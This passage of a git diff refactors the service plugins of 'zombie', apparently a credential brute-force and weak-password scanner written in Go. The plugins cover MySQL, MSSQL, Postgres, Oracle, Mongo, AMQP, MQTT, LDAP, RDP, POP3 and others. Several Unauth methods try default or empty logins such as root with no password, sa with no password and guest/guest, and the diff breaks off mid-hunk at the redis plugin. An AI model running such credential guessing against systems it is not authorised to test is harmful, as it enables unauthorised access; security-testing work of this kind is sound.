todo list dbs - return &pkg.Result{Task: s.Task, OK: true} +// LdapPlugin is stateless; all connection state lives in ldapSession. +type LdapPlugin struct{} + +func (p *LdapPlugin) Name() string { return "ldap" } + +func (p *LdapPlugin) Open(task *pkg.Task) (pkg.Session, error) { + ldap.DefaultTimeout = task.Duration() + conn, err := ldap.Dial("tcp", task.Address()) + if err != nil { + return nil, err + } + if err := conn.Bind(task.Username, task.Password); err != nil { + conn.Close() + return nil, err + } + return &ldapSession{service: task.Service, conn: conn}, nil } -//func (s *LdapPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *LdapPlugin) Output(res interface{}) { -// -//} -// -//func (s *LdapPlugin) GetInfo() bool { -// s.conn.Close() -// return true -//} +func (p *LdapPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, errors.New("ldap: unauthenticated access not supported") +} diff --git a/plugin/memcache/memcache.go b/plugin/memcache/memcache.go index c17f541..26f0c7a 100644 --- a/plugin/memcache/memcache.go +++ b/plugin/memcache/memcache.go @@ -6,34 +6,33 @@ import ( "github.com/chainreactors/zombie/pkg" ) -type MemcachePlugin struct { - *pkg.Task - client *memcache.Client +// memcacheSession implements pkg.Session over a memcache client. +type memcacheSession struct { + service string + client *memcache.Client } -func (s *MemcachePlugin) Name() string { - return s.Service -} - -func (s *MemcachePlugin) Unauth() (bool, error) { - client := memcache.New(fmt.Sprintf("%s:%s", s.IP, s.Port)) - s.client = client - return true, nil -} +func (s *memcacheSession) Service() string { return s.service } +func (s *memcacheSession) Raw() interface{} { return s.client } -func (s *MemcachePlugin) Login() error { - client := memcache.New(fmt.Sprintf("%s:%s", s.IP, s.Port)) - s.client = client - // Memcache doesn't support authentication by default +func (s *memcacheSession) Close() error { + // Memcache client doesn't have a close method return nil } -func (s *MemcachePlugin) GetResult() *pkg.Result { - // todo list items - return &pkg.Result{Task: s.Task, OK: true} +// MemcachePlugin is stateless; all connection state lives in memcacheSession. +type MemcachePlugin struct{} + +func (p *MemcachePlugin) Name() string { return "memcached" } + +func (p *MemcachePlugin) Open(task *pkg.Task) (pkg.Session, error) { + client := memcache.New(fmt.Sprintf("%s:%s", task.IP, task.Port)) + // Memcache doesn't support authentication by default + return &memcacheSession{service: task.Service, client: client}, nil } -func (s *MemcachePlugin) Close() error { - // Memcache client doesn't have a close method - return nil +func (p *MemcachePlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + // Memcache has no auth, so unauth always returns a session + client := memcache.New(fmt.Sprintf("%s:%s", task.IP, task.Port)) + return &memcacheSession{service: task.Service, client: client}, nil } diff --git a/plugin/mongo/mongo.go b/plugin/mongo/mongo.go index 3794f66..8641535 100644 --- a/plugin/mongo/mongo.go +++ b/plugin/mongo/mongo.go @@ -1,6 +1,7 @@ package mongo import ( + "context" "fmt" "github.com/chainreactors/zombie/pkg" "go.mongodb.org/mongo-driver/mongo" @@ -8,83 +9,51 @@ import ( "time" ) -type MongoPlugin struct { - *pkg.Task - Input string - conn *mongo.Client +// mongoSession implements pkg.Session over a MongoDB client. +type mongoSession struct { + service string + client *mongo.Client + ctx context.Context } -func (s *MongoPlugin) Unauth() (bool, error) { - //var err error - //var url string - // - //if s.Password == "" { - // url = fmt.Sprintf("mongodb://%v:%v", s.IP, s.Port) - //} else { - // url = fmt.Sprintf("mongodb://%v:%v@%v:%v", "mongodbuser", s.Password, s.IP, s.Port) - //} - //clientOptions := options.Client().ApplyURI(url).SetConnectTimeout(time.Duration(s.Timeout) * time.Second) - // - //// 连接到MongoDB - //client, err := mongo.Connect(s.Context, clientOptions) - //if err != nil { - // return false, err - //} - //s.conn = client - //err = s.conn.Ping(s.Context, nil) - //if err != nil { - // return false, err - //} - // - //return true, nil - return false, pkg.NotImplUnauthorized -} +func (s *mongoSession) Service() string { return s.service } +func (s *mongoSession) Raw() interface{} { return s.client } -func (s *MongoPlugin) Name() string { - return s.Service +func (s *mongoSession) Close() error { + if s.client != nil { + return s.client.Disconnect(s.ctx) + } + return nil } -func (s *MongoPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} +// MongoPlugin is stateless; all connection state lives in mongoSession. +type MongoPlugin struct{} + +func (p *MongoPlugin) Name() string { return "mongo" } -func (s *MongoPlugin) Login() error { - var err error +func (p *MongoPlugin) Open(task *pkg.Task) (pkg.Session, error) { var url string - if s.Password == "" { - url = fmt.Sprintf("mongodb://%v:%v", s.IP, s.Port) + if task.Password == "" { + url = fmt.Sprintf("mongodb://%v:%v", task.IP, task.Port) } else { - url = fmt.Sprintf("mongodb://%v:%v@%v:%v", s.Username, s.Password, s.IP, s.Port) + url = fmt.Sprintf("mongodb://%v:%v@%v:%v", task.Username, task.Password, task.IP, task.Port) } - clientOptions := options.Client().ApplyURI(url).SetConnectTimeout(time.Duration(s.Timeout) * time.Second) + clientOptions := options.Client().ApplyURI(url).SetConnectTimeout(time.Duration(task.Timeout) * time.Second) - // 连接到MongoDB - client, err := mongo.Connect(s.Context, clientOptions) + client, err := mongo.Connect(task.Context, clientOptions) if err != nil { - return err + return nil, err } - s.conn = client - err = s.conn.Ping(s.Context, nil) + err = client.Ping(task.Context, nil) if err != nil { - return err + client.Disconnect(task.Context) + return nil, err } - return nil + return &mongoSession{service: task.Service, client: client, ctx: task.Context}, nil } -func (s *MongoPlugin) Close() error { - if s.conn != nil { - return s.conn.Disconnect(s.Context) - } - return nil +func (p *MongoPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } - -//func (s *MongoPlugin) SetQuery(query string) { -// s.Input = query -//} -// -//func (s *MongoPlugin) Output(res interface{}) { -// -//} diff --git a/plugin/mq/amqp.go b/plugin/mq/amqp.go index 7e91ba1..664ae03 100644 --- a/plugin/mq/amqp.go +++ b/plugin/mq/amqp.go @@ -6,41 +6,39 @@ import ( "github.com/streadway/amqp" ) -type AMQPPlugin struct { - *pkg.Task - conn *amqp.Connection +// amqpSession implements pkg.Session over an AMQP connection. +type amqpSession struct { + service string + conn *amqp.Connection } -func (s *AMQPPlugin) Name() string { - return s.Service -} +func (s *amqpSession) Service() string { return s.service } +func (s *amqpSession) Raw() interface{} { return s.conn } -func (s *AMQPPlugin) Unauth() (bool, error) { - conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", "guest", "guest", s.IP, s.Port)) - if err != nil { - return false, err +func (s *amqpSession) Close() error { + if s.conn != nil { + return s.conn.Close() } - s.conn = conn - return true, nil + return nil } -func (s *AMQPPlugin) Login() error { - conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", s.Username, s.Password, s.IP, s.Port)) +// AMQPPlugin is stateless; all connection state lives in amqpSession. +type AMQPPlugin struct{} + +func (p *AMQPPlugin) Name() string { return "amqp" } + +func (p *AMQPPlugin) Open(task *pkg.Task) (pkg.Session, error) { + conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", task.Username, task.Password, task.IP, task.Port)) if err != nil { - return err + return nil, err } - s.conn = conn - return nil -} - -func (s *AMQPPlugin) GetResult() *pkg.Result { - // todo list queues - return &pkg.Result{Task: s.Task, OK: true} + return &amqpSession{service: task.Service, conn: conn}, nil } -func (s *AMQPPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() +func (p *AMQPPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + conn, err := amqp.Dial(fmt.Sprintf("amqp://%s:%s@%s:%s/", "guest", "guest", task.IP, task.Port)) + if err != nil { + return nil, err } - return nil + return &amqpSession{service: task.Service, conn: conn}, nil } diff --git a/plugin/mq/mqtt.go b/plugin/mq/mqtt.go index dfb1162..089c08e 100644 --- a/plugin/mq/mqtt.go +++ b/plugin/mq/mqtt.go @@ -6,43 +6,41 @@ import ( mqtt "github.com/eclipse/paho.mqtt.golang" ) -type MQTTPlugin struct { - *pkg.Task - client mqtt.Client +// mqttSession implements pkg.Session over an MQTT client connection. +type mqttSession struct { + service string + client mqtt.Client } -func (s *MQTTPlugin) Name() string { - return s.Service -} +func (s *mqttSession) Service() string { return s.service } +func (s *mqttSession) Raw() interface{} { return s.client } -func (s *MQTTPlugin) Unauth() (bool, error) { - opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", s.IP, s.Port)) - client := mqtt.NewClient(opts) - if token := client.Connect(); token.Wait() && token.Error() != nil { - return false, token.Error() +func (s *mqttSession) Close() error { + if s.client != nil { + s.client.Disconnect(250) } - s.client = client - return true, nil + return nil } -func (s *MQTTPlugin) Login() error { - opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", s.IP, s.Port)).SetUsername(s.Username).SetPassword(s.Password) +// MQTTPlugin is stateless; all connection state lives in mqttSession. +type MQTTPlugin struct{} + +func (p *MQTTPlugin) Name() string { return "mqtt" } + +func (p *MQTTPlugin) Open(task *pkg.Task) (pkg.Session, error) { + opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", task.IP, task.Port)).SetUsername(task.Username).SetPassword(task.Password) client := mqtt.NewClient(opts) if token := client.Connect(); token.Wait() && token.Error() != nil { - return token.Error() + return nil, token.Error() } - s.client = client - return nil -} - -func (s *MQTTPlugin) GetResult() *pkg.Result { - // todo list topics - return &pkg.Result{Task: s.Task, OK: true} + return &mqttSession{service: task.Service, client: client}, nil } -func (s *MQTTPlugin) Close() error { - if s.client != nil { - s.client.Disconnect(250) +func (p *MQTTPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + opts := mqtt.NewClientOptions().AddBroker(fmt.Sprintf("tcp://%s:%s", task.IP, task.Port)) + client := mqtt.NewClient(opts) + if token := client.Connect(); token.Wait() && token.Error() != nil { + return nil, token.Error() } - return nil + return &mqttSession{service: task.Service, client: client}, nil } diff --git a/plugin/mssql/mssql.go b/plugin/mssql/mssql.go index 4935867..4737471 100644 --- a/plugin/mssql/mssql.go +++ b/plugin/mssql/mssql.go @@ -3,70 +3,44 @@ package mssql import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/denisenkom/go-mssqldb" ) -type MssqlPlugin struct { - *pkg.Task - //MssqlInf - //Input string - Instance string - conn *sql.DB -} - -func (s *MssqlPlugin) Name() string { - return s.Service -} +// MssqlPlugin is a stateless factory that satisfies the Plugin interface. +type MssqlPlugin struct{} -func (s *MssqlPlugin) Login() error { - if s.Instance == "" { - s.Instance = "master" - } - dataSourceName := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%s;database=%s;connection timeout=%d;encrypt=disable", s.IP, - s.Port, s.Username, s.Password, s.Instance, s.Timeout) +func (MssqlPlugin) Name() string { return "mssql" } - //time.Duration(Utils.Timeout)*time.Second - conn, err := sql.Open("mssql", dataSourceName) - if err != nil { - return err - } - - err = conn.Ping() - if err != nil { - return err +// Open authenticates with the credentials from task and returns a SQLSession. +func (MssqlPlugin) Open(task *pkg.Task) (pkg.Session, error) { + instance := task.Param["instance"] + if instance == "" { + instance = "master" } + return dial(task, task.Username, task.Password, instance) +} - s.conn = conn - return nil +// Unauth attempts an unauthenticated connection using sa with an empty password. +func (MssqlPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "sa", "", "master") } -func (s *MssqlPlugin) Unauth() (bool, error) { - dataSourceName := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%v;database=%v;connection timeout=%v;encrypt=disable", s.IP, - s.Port, "sa", "", "master", s.Timeout) +func dial(task *pkg.Task, user, password, instance string) (pkg.Session, error) { + dsn := fmt.Sprintf("server=%s;port=%s;user id=%s;password=%s;database=%s;connection timeout=%d;encrypt=disable", + task.IP, task.Port, user, password, instance, task.Timeout) - //time.Duration(Utils.Timeout)*time.Second - conn, err := sql.Open("mssql", dataSourceName) + db, err := sql.Open("mssql", dsn) if err != nil { - return false, err + return nil, err } - err = conn.Ping() - if err != nil { - return false, err + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err } - s.conn = conn - return true, nil -} -func (s *MssqlPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *MssqlPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &sqlsess.Session{DB: db, SvcName: "mssql"}, nil } diff --git a/plugin/mysql/mysql.go b/plugin/mysql/mysql.go index 0d82cd0..19232a6 100644 --- a/plugin/mysql/mysql.go +++ b/plugin/mysql/mysql.go @@ -3,74 +3,52 @@ package mysql import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" "github.com/go-sql-driver/mysql" _ "github.com/go-sql-driver/mysql" ) -type nilLog struct { -} +type nilLog struct{} -func (l nilLog) Print(v ...interface{}) { +func (nilLog) Print(v ...interface{}) {} -} +// MysqlPlugin is a stateless factory that satisfies the Plugin interface. +type MysqlPlugin struct{} + +func (MysqlPlugin) Name() string { return "mysql" } -type MysqlPlugin struct { - *pkg.Task - input string - conn *sql.DB +// Open authenticates with the credentials from task and returns a SQLSession. +func (MysqlPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Username, task.Password) } -func (s *MysqlPlugin) Name() string { - return s.Service +// Unauth attempts an unauthenticated connection (root with empty password). +func (MysqlPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "root", "") } -func (s *MysqlPlugin) Unauth() (bool, error) { - // mysql none pass +// dial builds a MySQL DSN, connects, pings, and wraps the *sql.DB in a +// sqlsess.Session so it satisfies pkg.SQLSession. +func dial(task *pkg.Task, user, pass string) (pkg.Session, error) { mysql.SetLogger(nilLog{}) - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", "root", - "", s.IP, s.Port, s.Timeout, s.Timeout, s.Timeout) - conn, err := sql.Open("mysql", dataSourceName) - if err != nil { - return false, err - } - //conn.SetMaxOpenConns(60) - //conn.SetMaxIdleConns(60) - - err = conn.Ping() - if err != nil { - return false, err - } - s.conn = conn - return true, nil -} + dsn := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", + user, pass, task.IP, task.Port, task.Timeout, task.Timeout, task.Timeout) -func (s *MysqlPlugin) Login() error { - mysql.SetLogger(nilLog{}) - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/?timeout=%ds&readTimeout=%ds&writeTimeout=%ds&charset=utf8", s.Username, - s.Password, s.IP, s.Port, s.Timeout, s.Timeout, s.Timeout) - conn, err := sql.Open("mysql", dataSourceName) + db, err := sql.Open("mysql", dsn) if err != nil { - return err + return nil, err } - err = conn.Ping() - if err != nil { - return err + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err } - s.conn = conn - return nil -} - -func (s *MysqlPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} -func (s *MysqlPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil + return &sqlsess.Session{ + DB: db, + SvcName: "mysql", + }, nil } diff --git a/plugin/neutron/neutron.go b/plugin/neutron/neutron.go index 4bb0c9e..2d680ce 100644 --- a/plugin/neutron/neutron.go +++ b/plugin/neutron/neutron.go @@ -3,6 +3,7 @@ package neutron import ( "errors" "fmt" + "github.com/chainreactors/logs" neutroncommon "github.com/chainreactors/neutron/common" templates "github.com/chainreactors/neutron/templates" @@ -19,55 +20,48 @@ func init() { } } -type NeutronPlugin struct { - *pkg.Task - Service string - Host string +type neutronSession struct { + service string } -func (s *NeutronPlugin) Name() string { - return s.Service -} +func (s *neutronSession) Service() string { return s.service } +func (s *neutronSession) Close() error { return nil } +func (s *neutronSession) Raw() interface{} { return nil } -func (s *NeutronPlugin) Unauth() (bool, error) { - if template, ok := pkg.TemplateMap[s.Service]; ok { - var err error - var usr, pwd string - usr, pwd, err = NeutronScan(s.Scheme, s.Address(), nil, template) - if err != nil { - return false, err - } +type NeutronPlugin struct{} - s.Task.Username = usr - s.Task.Password = pwd - return true, nil - } - return false, errors.New("no template found") -} +func (p *NeutronPlugin) Name() string { return "neutron" } -func (s *NeutronPlugin) Login() error { - if template, ok := pkg.TemplateMap[s.Service]; ok { - _, _, err := NeutronScan(s.Scheme, - s.Address(), - map[string]interface{}{ - "username": s.Username, - "password": s.Password, - }, - template) - if err != nil { - return err - } - return nil +func (p *NeutronPlugin) Open(task *pkg.Task) (pkg.Session, error) { + template, ok := pkg.TemplateMap[task.Service] + if !ok { + return nil, errors.New("no template found") } - return errors.New("no template found") -} - -func (s *NeutronPlugin) GetResult() *pkg.Result { - return &pkg.Result{Task: s.Task, OK: true} + _, _, err := NeutronScan(task.Scheme, + task.Address(), + map[string]interface{}{ + "username": task.Username, + "password": task.Password, + }, + template) + if err != nil { + return nil, err + } + return &neutronSession{service: task.Service}, nil } -func (s *NeutronPlugin) Close() error { - return nil +func (p *NeutronPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + template, ok := pkg.TemplateMap[task.Service] + if !ok { + return nil, errors.New("no template found") + } + usr, pwd, err := NeutronScan(task.Scheme, task.Address(), nil, template) + if err != nil { + return nil, err + } + task.Username = usr + task.Password = pwd + return &neutronSession{service: task.Service}, nil } func NeutronScan(scheme, target string, payload map[string]interface{}, template *templates.Template) (string, string, error) { @@ -86,10 +80,10 @@ func NeutronScan(scheme, target string, payload map[string]interface{}, template return "", "", err } if res == nil { - return "", "", errors.New(fmt.Sprintf("nil result, %s", template.Id)) + return "", "", fmt.Errorf("nil result, %s", template.Id) } if !res.Matched { - return "", "", errors.New(fmt.Sprintf("not matched, %s", template.Id)) + return "", "", fmt.Errorf("not matched, %s", template.Id) } return iutils.ToString(res.PayloadValues["username"]), iutils.ToString(res.PayloadValues["password"]), nil } diff --git a/plugin/oracle/oracle.go b/plugin/oracle/oracle.go index ef3b3c1..1b36450 100644 --- a/plugin/oracle/oracle.go +++ b/plugin/oracle/oracle.go @@ -3,75 +3,66 @@ package oracle import ( "database/sql" "fmt" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/sijms/go-ora/v2" ) -type OraclePlugin struct { - *pkg.Task - //Input string - SID string - ServiceName string - conn *sql.DB -} - -func (s *OraclePlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized -} +// OraclePlugin is a stateless factory that satisfies the Plugin interface. +type OraclePlugin struct{} -func (s *OraclePlugin) Login() error { - var err error - if s.ServiceName != "" { - s.conn, err = serviceNameLogin(s.Task, s.ServiceName) - } else { - s.conn, err = sidLogin(s.Task, s.SID) - } +func (OraclePlugin) Name() string { return "oracle" } - err = s.conn.Ping() - if err != nil { - return err +// Open authenticates with the credentials from task and returns a SQLSession. +// It supports two modes: service_name (if task.Param["service_name"] is set) +// or SID (task.Param["sid"], defaulting to "orcl"). +func (OraclePlugin) Open(task *pkg.Task) (pkg.Session, error) { + if sn := task.Param["service_name"]; sn != "" { + return dialServiceName(task, sn) } - - return err -} - -func (s *OraclePlugin) Close() error { - if s.conn != nil { - return s.conn.Close() + sid := task.Param["sid"] + if sid == "" { + sid = "orcl" } - return nil + return dialSID(task, sid) } -func (s *OraclePlugin) Name() string { - return s.Service +// Unauth is not implemented for Oracle. +func (OraclePlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } -func (s *OraclePlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} +func dialSID(task *pkg.Task, sid string) (pkg.Session, error) { + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connection_timeout=%d&connection_pool_timeout=%d", + task.Username, task.Password, task.IP, task.Port, sid, task.Timeout, task.Timeout) -func sidLogin(task *pkg.Task, sid string) (*sql.DB, error) { - if sid == "" { - sid = "orcl" + db, err := sql.Open("oracle", connStr) + if err != nil { + return nil, err } - connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/%s?connection_timeout=%d&connection_pool_timeout=%d", task.Username, - task.Password, task.IP, task.Port, sid, task.Timeout, task.Timeout) - conn, err := sql.Open("oracle", connStr) - if err != nil { + if err := db.Ping(); err != nil { + _ = db.Close() return nil, err } - return conn, nil + + return &sqlsess.Session{DB: db, SvcName: "oracle"}, nil } -func serviceNameLogin(task *pkg.Task, serviceName string) (*sql.DB, error) { - connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/?service_name=%s&connection_timeout=%d&connection_pool_timeout=%d", task.Username, - task.Password, task.IP, task.Port, serviceName, task.Timeout, task.Timeout) +func dialServiceName(task *pkg.Task, serviceName string) (pkg.Session, error) { + connStr := fmt.Sprintf("oracle://%s:%s@%s:%s/?service_name=%s&connection_timeout=%d&connection_pool_timeout=%d", + task.Username, task.Password, task.IP, task.Port, serviceName, task.Timeout, task.Timeout) - conn, err := sql.Open("oracle", connStr) + db, err := sql.Open("oracle", connStr) if err != nil { return nil, err } - return conn, nil + + if err := db.Ping(); err != nil { + _ = db.Close() + return nil, err + } + + return &sqlsess.Session{DB: db, SvcName: "oracle"}, nil } diff --git a/plugin/plugin.go b/plugin/plugin.go new file mode 100644 index 0000000..bbd8d1a --- /dev/null +++ b/plugin/plugin.go @@ -0,0 +1,9 @@ +package plugin + +import "github.com/chainreactors/zombie/pkg" + +type Plugin interface { + Name() string + Open(task *pkg.Task) (pkg.Session, error) + Unauth(task *pkg.Task) (pkg.Session, error) +} diff --git a/plugin/pop3/pop3.go b/plugin/pop3/pop3.go index 742b84a..3538dd2 100644 --- a/plugin/pop3/pop3.go +++ b/plugin/pop3/pop3.go @@ -6,56 +6,49 @@ import ( "strconv" ) -type Pop3Plugin struct { - *pkg.Task +// pop3Session implements pkg.Session over an authenticated POP3 connection. +type pop3Session struct { + service string + conn *pop3.Conn } -func (s *Pop3Plugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized +func (s *pop3Session) Service() string { return s.service } +func (s *pop3Session) Raw() interface{} { return s.conn } + +func (s *pop3Session) Close() error { + if s.conn != nil { + return s.conn.Quit() + } + return nil } -func (s *Pop3Plugin) Login() error { - port, _ := strconv.Atoi(s.Port) +// Pop3Plugin is stateless; all connection state lives in pop3Session. +type Pop3Plugin struct{} + +func (p *Pop3Plugin) Name() string { return "pop3" } - p := pop3.New(pop3.Opt{ - Host: s.IP, +func (p *Pop3Plugin) Open(task *pkg.Task) (pkg.Session, error) { + port, _ := strconv.Atoi(task.Port) + + pp := pop3.New(pop3.Opt{ + Host: task.IP, Port: port, TLSEnabled: false, }) - c, err := p.NewConn() + c, err := pp.NewConn() if err != nil { - return err + return nil, err } - defer c.Quit() - // Authenticate. - if err := c.Auth(s.Username, s.Password); err != nil { - return err + if err := c.Auth(task.Username, task.Password); err != nil { + c.Quit() + return nil, err } - return nil - + return &pop3Session{service: task.Service, conn: c}, nil } -func (s *Pop3Plugin) Name() string { - return s.Service +func (p *Pop3Plugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } - -func (s *Pop3Plugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *Pop3Plugin) Close() error { - return nil -} - -// -//func (s *Pop3Plugin) SetQuery(query string) { -// //s.Input = query -//} -// -//func (s *Pop3Plugin) Output(res interface{}) { -// -//} diff --git a/plugin/postgre/postgre.go b/plugin/postgre/postgre.go index 4559f9b..803f6c0 100644 --- a/plugin/postgre/postgre.go +++ b/plugin/postgre/postgre.go @@ -3,159 +3,58 @@ package postgre import ( "database/sql" "fmt" + "strings" + "github.com/chainreactors/zombie/pkg" + "github.com/chainreactors/zombie/plugin/internal/sqlsess" _ "github.com/lib/pq" - "strings" ) -type PostgresPlugin struct { - *pkg.Task - Dbname string - //PostgreInf - //Input string - conn *sql.DB -} +// PostgresPlugin is stateless; all connection state lives in sqlsess.Session. +type PostgresPlugin struct{} -func (s *PostgresPlugin) Login() error { - if s.Dbname == "" { - s.Dbname = "postgres" - } - dataSourceName := strings.Join([]string{ - fmt.Sprintf("connect_timeout=%d", s.Timeout), - fmt.Sprintf("dbname=%s", s.Dbname), - fmt.Sprintf("host=%v", s.IP), - fmt.Sprintf("password=%v", s.Password), - fmt.Sprintf("port=%v", s.Port), - "sslmode=disable", - fmt.Sprintf("user=%v", s.Username), - }, " ") +func (PostgresPlugin) Name() string { return "postgresql" } - conn, err := sql.Open("postgres", dataSourceName) - if err != nil { - return err - } +// Open authenticates with the credentials from task and returns a SQLSession. +func (PostgresPlugin) Open(task *pkg.Task) (pkg.Session, error) { + return dial(task, task.Username, task.Password) +} - err = conn.Ping() - if err != nil { - return err - } - s.conn = conn - return nil +// Unauth attempts an unauthenticated connection (empty user and password). +func (PostgresPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return dial(task, "", "") } -func (s *PostgresPlugin) Unauth() (bool, error) { - dataSourceName := strings.Join([]string{ - fmt.Sprintf("connect_timeout=%d", s.Timeout), - fmt.Sprintf("dbname=%s", s.Dbname), - fmt.Sprintf("host=%v", s.IP), - fmt.Sprintf("password=%v", ""), - fmt.Sprintf("port=%v", s.Port), +// dial builds a lib/pq DSN, opens and pings the database, then wraps it in a +// sqlsess.Session with SvcName "postgresql". +func dial(task *pkg.Task, user, password string) (pkg.Session, error) { + dbname := task.Param["dbname"] + if dbname == "" { + dbname = "postgres" + } + + dsn := strings.Join([]string{ + fmt.Sprintf("host=%v", task.IP), + fmt.Sprintf("port=%v", task.Port), + fmt.Sprintf("user=%v", user), + fmt.Sprintf("password=%v", password), + fmt.Sprintf("dbname=%s", dbname), "sslmode=disable", - fmt.Sprintf("user=%v", ""), + fmt.Sprintf("connect_timeout=%d", task.Timeout), }, " ") - conn, err := sql.Open("postgres", dataSourceName) + db, err := sql.Open("postgres", dsn) if err != nil { - return false, err + return nil, err } - err = conn.Ping() - if err != nil { - return false, err + if err := db.Ping(); err != nil { + db.Close() + return nil, err } - s.conn = conn - return true, nil -} -func (s *PostgresPlugin) Name() string { - return s.Service + return &sqlsess.Session{ + DB: db, + SvcName: "postgresql", + }, nil } - -func (s *PostgresPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} -} - -func (s *PostgresPlugin) Close() error { - if s.conn != nil { - return s.conn.Close() - } - return nil -} - -//func GetPostBaseInfo(SqlCon *sql.DB) *PostgreInf { -// -// res := PostgreInf{} -// -// err, Qresult, Columns := PostgresQuery(SqlCon, "SHOW server_version;") -// -// if err != nil { -// fmt.Println("something wrong") -// return nil -// } -// -// VerOs := GetSummary(Qresult, Columns) -// -// VerOs = strings.Replace(VerOs, "(", "", 1) -// VerOs = strings.Replace(VerOs, ")", "", 1) -// -// VerOsList := strings.Split(VerOs, " ") -// -// if len(VerOsList) < 2 { -// fmt.Println("something wrong in split") -// -// return nil -// } -// -// res.Version = VerOsList[0] -// res.OS = VerOsList[1] -// -// return &res -//} -// -//func GetPostgresSummary(s *PostgresService) int { -// var db []string -// var sum int -// -// err, Qresult, Columns := PostgresQuery(s.conn, "SELECT datname FROM pg_database") -// -// for _, items := range Qresult { -// for _, cname := range Columns { -// db = append(db, items[cname]) -// } -// } -// -// if err != nil { -// fmt.Println("something wrong") -// return 0 -// } -// -// _, Qresult, Columns = PostgresQuery(s.conn, "SELECT sum(n_live_tup) FROM pg_stat_user_tables") -// CurIntSum := GetSummary(Qresult, Columns) -// CurSum, err := strconv.Atoi(CurIntSum) -// if err == nil { -// sum += CurSum -// } -// -// s.conn.Close() -// -// for _, dbname := range db { -// if dbname == "postgres" { -// continue -// } -// -// s.SetDbname(dbname) -// err := s.Connect() -// if err == nil { -// _, Qresult, Columns = PostgresQuery(s.conn, "SELECT sum(n_live_tup) FROM pg_stat_user_tables") -// CurIntSum = GetSummary(Qresult, Columns) -// CurSum, err = strconv.Atoi(CurIntSum) -// if err == nil { -// sum += CurSum -// } -// s.conn.Close() -// } -// } -// -// return sum -//} diff --git a/plugin/rdp/rdp.go b/plugin/rdp/rdp.go index 81ba7d7..7cf878f 100644 --- a/plugin/rdp/rdp.go +++ b/plugin/rdp/rdp.go @@ -5,34 +5,30 @@ import ( "github.com/chainreactors/zombie/pkg" ) -type RdpPlugin struct { - *pkg.Task - conn *grdp.Client +// rdpSession implements pkg.Session. RDP has no persistent connection, +// so Close is a no-op and Raw returns nil. +type rdpSession struct { + service string } -func (s *RdpPlugin) Unauth() (bool, error) { - return false, pkg.NotImplUnauthorized -} - -func (s *RdpPlugin) Login() error { - user, domain := pkg.SplitUserDomain(s.Username) - err := grdp.Login(s.Address(), domain, user, s.Password) - if err != nil { - return err - } +func (s *rdpSession) Service() string { return s.service } +func (s *rdpSession) Close() error { return nil } +func (s *rdpSession) Raw() interface{} { return nil } - return nil -} +// RdpPlugin is stateless; all connection state lives in rdpSession. +type RdpPlugin struct{} -func (s *RdpPlugin) Close() error { - return nil -} +func (p *RdpPlugin) Name() string { return "rdp" } -func (s *RdpPlugin) Name() string { - return s.Service +func (p *RdpPlugin) Open(task *pkg.Task) (pkg.Session, error) { + user, domain := pkg.SplitUserDomain(task.Username) + err := grdp.Login(task.Address(), domain, user, task.Password) + if err != nil { + return nil, err + } + return &rdpSession{service: task.Service}, nil } -func (s *RdpPlugin) GetResult() *pkg.Result { - // todo list dbs - return &pkg.Result{Task: s.Task, OK: true} +func (p *RdpPlugin) Unauth(task *pkg.Task) (pkg.Session, error) { + return nil, pkg.NotImplUnauthorized } diff --git a/plugin/redis/redis.go b/plugin/redis/redis.go index 10588ba..24efca4 100644 --- a/plugin/redis/redis.go +++ b/plugin/redis/redis.go @@ 